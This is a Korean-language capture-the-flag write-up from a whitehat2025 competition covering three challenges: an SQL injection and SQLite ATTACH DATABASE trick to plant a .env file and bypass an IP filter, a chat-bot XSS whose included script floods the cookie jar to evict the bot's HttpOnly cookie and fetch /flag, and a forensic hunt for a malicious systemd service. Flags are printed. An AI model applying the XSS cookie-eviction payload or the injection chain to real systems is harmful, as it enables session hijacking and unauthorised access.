Lemo
우선 로그인 기능에 sqli가 존재해서 admin 계정을 생성할 수 있다.
admin으로 로그인하면 로컬의 파일들을 수정할 수 있는 기능이 있다.
근데 그냥 수정하면 403이 뜬다. 왜냐하면 middleware에서 환경변수가 NODE_ENV=development가
아니면 모두 거르기 때문이다. 그렇다면 SQLite 환경에서 .env를 생성해서 이를 우회할 수 있는 방법을 찾아야 하는데
ATTACH DATABASE라는 기능이 있다. 서버의 데이터베이스 파일을 연결해주는데 만약 해당하는 파일 이름이 없으면
새로 생성한다는 특징이 있다. 그렇다면 .env라는 데이터베이스 파일을 ATTACH DATABASE로 생성하고
그 내용을 NODE_ENV=development로 채우면 될 것이다. 그리고 아직 하나 더 남았는데
ip가 127.0.0.1이 아니면 모두 거른다. 이를 우회하려면 qs의 특징을 알아야 하는데
qs는 파라미터를 1000개 이상 주면 그 이상은 쓰지 않고 무시하는데 이 특징을 이용하면 우회가 가능하다.
이제 수정을 할 수 있으므로 ffi로 fopen read 써서 flag를 읽으면 된다.
Chat Application
/flag에 요청을 보내면 flag를 얻을 수 있다. 하지만 제약이 걸려있다.
일단 ip가 127.0.0.1이어야 하고 username=admin인 쿠키값이 존재해야 접근할 수 있다.
또한 봇은 채팅 메시지에 링크나 HTML이 포함되면 미리보기를 렌더링해준다.
이때 봇은 127.0.0.1에서 실행되며 username=bot 쿠키를 가지고 있는데 xss를 할 수 있을 것 같다.
근데 xss를 하려고 해도 HttpOnly가 걸려있는 bot 쿠키 때문에 admin 쿠키를 무시할 것이다.
크로미움은 도메인당 저장 가능한 쿠키 개수에 제한이 있다. 제한을 넘기면 최적화를 위해 가장 오래된 쿠키를 삭제하는 특성이 있다.
봇의 쿠키를 삭제하려면 봇의 속성을 가진 쿠키를 360개 정도 생성하면 기존 bot의 쿠키는 삭제될 것이다.
그렇다면 username=admin인 쿠키를 생성할 수 있고 ssrf를 통해 /flag에 접근할 수 있다.
<script>(async () => { const log = msg => { document.body.innerText = msg; const meta = document.createElement('meta'); meta.name = 'description'; meta.content = msg; document.head.appendChild(meta); };
for (let i = 0; i < 350; i++) { document.cookie = `junk${i}=1; path=/; Secure; SameSite=Lax`;}
for (let i = 0; i < 350; i++) { document.cookie = `junk${i}=; max-age=0; path=/; Secure; SameSite=Lax`;}
document.cookie = "username=admin; path=/; Secure; SameSite=Lax";
const res = await fetch('/flag/');const text = await res.text();log(text);
})();</script>이후 미리보기에서 flag를 얻을 수 있다.
FLAG : whitehat2025{b820883f8ea632fe2c817487c12fe38cf6df83ea55ddc4c4b764309faee2cc86}
scenario 3
linux의 vmdk가 주어진다. vmware로 열어보니 부팅이 불가능해서 언마운트 해봤다.
멀웨어의 경로를 찾아야 하는데 보통 멀웨어들은 한 번 실행하고 꺼지면 안 되니까 부팅하면 바로 실행되게
systemd 서비스에 자신을 등록한다는 특성이 있다. 이 점이 의심스러워서
다음과 같은 명령어를 실행해봤다.
find /etc/systemd/system/ -type ffind /lib/systemd/system/ -type f그랬더니 다음과 같은 결과가 나왔다.
/etc/systemd/system/webserver.service/etc/systemd/system/webcheck.service일단 일반적으로 존재하지 않는 서비스고 두 파일을 읽어보니 /etc/systemd/system/webcheck.service에서
ExecStart=/usr/bin/webchecker 이런 내용이 발견되었다. 대충
webcheck에서 ExecStart로 webchecker라는 바이너리를 실행한다는 내용이다.
매우 의심스러워서
whitehat2025{/usr/bin/webchecker}를 플래그로 제출했더니 정답이었다.
FLAG : whitehat2025{/usr/bin/webchecker}